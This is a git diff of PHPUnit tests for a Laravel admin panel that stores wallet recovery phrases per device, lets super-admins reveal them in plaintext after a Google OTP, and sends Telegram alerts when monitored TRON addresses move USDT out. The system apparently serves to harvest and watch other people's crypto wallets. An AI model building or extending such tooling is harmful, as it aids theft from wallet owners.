feat: balance change
This commit is contained in:
@@ -105,6 +105,29 @@ class AdminLoginTest extends TestCase
|
||||
$this->assertAuthenticated('admin');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function google2fa_bound_without_login_verify_skips_code(): void
|
||||
{
|
||||
$google2fa = app(AdminGoogle2fa::class);
|
||||
$secret = $google2fa->generateSecret();
|
||||
|
||||
Admin::query()->create([
|
||||
'username' => 'admin',
|
||||
'password' => 'admin123',
|
||||
'status' => 1,
|
||||
'google_auth_open' => 0,
|
||||
'google_secret' => $secret,
|
||||
]);
|
||||
|
||||
$this->post('/admin/login', [
|
||||
'username' => 'admin',
|
||||
'password' => 'admin123',
|
||||
])->assertOk()
|
||||
->assertJson(['code' => 0]);
|
||||
|
||||
$this->assertAuthenticated('admin');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function login_is_rate_limited_after_failures(): void
|
||||
{
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class AgentPasswordTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private function agent(string $password = 'secret12'): User
|
||||
{
|
||||
return User::query()->create([
|
||||
'username' => 'okagent',
|
||||
'password' => $password,
|
||||
'status' => 1,
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function guest_cannot_open_password_page(): void
|
||||
{
|
||||
$this->get(route('user.password.index'))
|
||||
->assertRedirect(route('user.login'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_can_open_password_page(): void
|
||||
{
|
||||
$this->actingAs($this->agent(), 'agent')
|
||||
->get(route('user.password.index'))
|
||||
->assertOk()
|
||||
->assertSee('修改密码')
|
||||
->assertSee('okagent');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_can_change_password(): void
|
||||
{
|
||||
$agent = $this->agent();
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->putJson(route('user.password.update'), [
|
||||
'current_password' => 'secret12',
|
||||
'password' => 'newpass12',
|
||||
'password_confirmation' => 'newpass12',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJson(['code' => 0]);
|
||||
|
||||
$agent->refresh();
|
||||
$this->assertTrue(Hash::check('newpass12', $agent->password));
|
||||
$this->assertFalse(Hash::check('secret12', $agent->password));
|
||||
$this->assertAuthenticated('agent');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function wrong_current_password_is_rejected(): void
|
||||
{
|
||||
$agent = $this->agent();
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->putJson(route('user.password.update'), [
|
||||
'current_password' => 'wrong-old',
|
||||
'password' => 'newpass12',
|
||||
'password_confirmation' => 'newpass12',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJson(['code' => 1, 'msg' => '当前密码不正确']);
|
||||
|
||||
$agent->refresh();
|
||||
$this->assertTrue(Hash::check('secret12', $agent->password));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function confirmation_mismatch_is_rejected(): void
|
||||
{
|
||||
$this->actingAs($this->agent(), 'agent')
|
||||
->putJson(route('user.password.update'), [
|
||||
'current_password' => 'secret12',
|
||||
'password' => 'newpass12',
|
||||
'password_confirmation' => 'mismatch',
|
||||
])
|
||||
->assertStatus(422);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function same_password_is_rejected(): void
|
||||
{
|
||||
$agent = $this->agent();
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->putJson(route('user.password.update'), [
|
||||
'current_password' => 'secret12',
|
||||
'password' => 'secret12',
|
||||
'password_confirmation' => 'secret12',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJson(['code' => 1, 'msg' => '新密码不能与当前密码相同']);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,185 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\AdminGoogle2fa;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use PragmaRX\Google2FA\Google2FA;
|
||||
use Tests\TestCase;
|
||||
|
||||
class MnemonicRevealTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private const PHRASE = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
|
||||
private function storeMnemonic(): WalletMnemonic
|
||||
{
|
||||
$device = Device::query()->create(['device_id' => 'dev-reveal-1']);
|
||||
$row = new WalletMnemonic([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'imToken',
|
||||
]);
|
||||
$row->mnemonic = self::PHRASE;
|
||||
$row->save();
|
||||
|
||||
return $row;
|
||||
}
|
||||
|
||||
private function bindSecret(Admin $admin): string
|
||||
{
|
||||
$secret = app(AdminGoogle2fa::class)->generateSecret();
|
||||
$admin->forceFill([
|
||||
'google_secret' => $secret,
|
||||
'google_auth_open' => 0,
|
||||
])->save();
|
||||
|
||||
return $secret;
|
||||
}
|
||||
|
||||
private function otp(string $secret): string
|
||||
{
|
||||
return (new Google2FA)->getCurrentOtp($secret);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function list_stays_masked_and_super_sees_reveal_url(): void
|
||||
{
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'root',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 1,
|
||||
]);
|
||||
$mnemonic = $this->storeMnemonic();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.mnemonics.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.id', $mnemonic->id)
|
||||
->assertJsonPath('data.0.mnemonic', 'abandon *** about')
|
||||
->assertJsonPath('data.0.can_reveal', true)
|
||||
->assertJsonPath('data.0.reveal_url', route('admin.mnemonics.reveal', $mnemonic));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function normal_admin_list_has_no_reveal(): void
|
||||
{
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'staff',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 0,
|
||||
]);
|
||||
$this->storeMnemonic();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.mnemonics.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.can_reveal', false)
|
||||
->assertJsonPath('data.0.reveal_url', '');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function super_reveals_after_google_code(): void
|
||||
{
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'root',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 1,
|
||||
]);
|
||||
$secret = $this->bindSecret($admin);
|
||||
$mnemonic = $this->storeMnemonic();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.mnemonics.reveal', $mnemonic), [
|
||||
'GACode' => $this->otp($secret),
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.mnemonic', self::PHRASE);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function reveal_rejects_wrong_code(): void
|
||||
{
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'root',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 1,
|
||||
]);
|
||||
$this->bindSecret($admin);
|
||||
$mnemonic = $this->storeMnemonic();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.mnemonics.reveal', $mnemonic), [
|
||||
'GACode' => '000000',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJson(['code' => 1, 'msg' => '谷歌验证码不正确']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function reveal_requires_bound_google(): void
|
||||
{
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'root',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 1,
|
||||
]);
|
||||
$mnemonic = $this->storeMnemonic();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.mnemonics.reveal', $mnemonic), [
|
||||
'GACode' => '123456',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 1);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function normal_admin_cannot_reveal(): void
|
||||
{
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'staff',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 0,
|
||||
]);
|
||||
$this->bindSecret($admin);
|
||||
$mnemonic = $this->storeMnemonic();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.mnemonics.reveal', $mnemonic), [
|
||||
'GACode' => '123456',
|
||||
])
|
||||
->assertForbidden();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function bind_can_skip_login_verify(): void
|
||||
{
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'root',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 1,
|
||||
]);
|
||||
$google2fa = app(AdminGoogle2fa::class);
|
||||
$secret = $google2fa->generateSecret();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->withSession(['admin_google2fa_pending_secret' => $secret])
|
||||
->postJson(route('admin.security.google2fa.bind'), [
|
||||
'GASecret' => $secret,
|
||||
'GAKey' => $this->otp($secret),
|
||||
'login_verify' => 0,
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
$admin->refresh();
|
||||
$this->assertTrue($admin->hasGoogleBound());
|
||||
$this->assertFalse($admin->requiresLoginGoogle());
|
||||
}
|
||||
}
|
||||
@@ -184,6 +184,71 @@ class TokenviewWebhookTest extends TestCase
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function webhook_notifies_tron_outbound_after_chain_refresh(): void
|
||||
{
|
||||
config(['coruna.tokenview.sign_key' => '']);
|
||||
Http::fake(function ($request) {
|
||||
$url = $request->url();
|
||||
if (str_contains($url, '/v1/accounts/')) {
|
||||
return Http::response([
|
||||
'data' => [[
|
||||
'balance' => 15_043_359,
|
||||
'trc20' => [
|
||||
['TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t' => '45601000'],
|
||||
],
|
||||
]],
|
||||
'success' => true,
|
||||
], 200);
|
||||
}
|
||||
if (str_contains($url, 'api.telegram.org')) {
|
||||
return Http::response(['ok' => true], 200);
|
||||
}
|
||||
|
||||
return Http::response(['ok' => true], 200);
|
||||
});
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'bot-token',
|
||||
'coruna.telegram.owner_chat_id' => '12345',
|
||||
]);
|
||||
|
||||
$addr = $this->seedMonitoredAddress([
|
||||
'address' => 'TDZFQVZJLW3J7dpS9kCE45C8tUxBLwfinD',
|
||||
'chain_type' => 'TRON',
|
||||
'trx' => 15.0,
|
||||
'usdt' => 545.601,
|
||||
'eth' => null,
|
||||
]);
|
||||
|
||||
$payload = [
|
||||
'address' => 'TDZFQVZJLW3J7dpS9kCE45C8tUxBLwfinD',
|
||||
'txid' => 'a37a08e7cc424528276b7bf9aff5feb8076e14851feb2d2a6e01ac34de68e404',
|
||||
'coin' => 'TRX',
|
||||
'tokenSymbol' => 'USDT',
|
||||
'tokenValue' => '-500',
|
||||
'value' => '0',
|
||||
];
|
||||
|
||||
$this->postJson('/hooks/tokenview', $payload)->assertOk()->assertSee('ok');
|
||||
|
||||
$addr->refresh();
|
||||
$this->assertEqualsWithDelta(15.043359, (float) $addr->trx, 0.0000001);
|
||||
$this->assertEqualsWithDelta(45.601, (float) $addr->usdt, 0.0000001);
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_contains($request->url(), 'api.telegram.org')) {
|
||||
return false;
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '余额转出')
|
||||
&& str_contains($text, '-500 USDT')
|
||||
&& ! str_contains($text, '余额入账')
|
||||
&& str_contains($text, '余额')
|
||||
&& str_contains($text, '45.6');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function webhook_ignores_tron_when_token_is_not_trx_or_usdt(): void
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user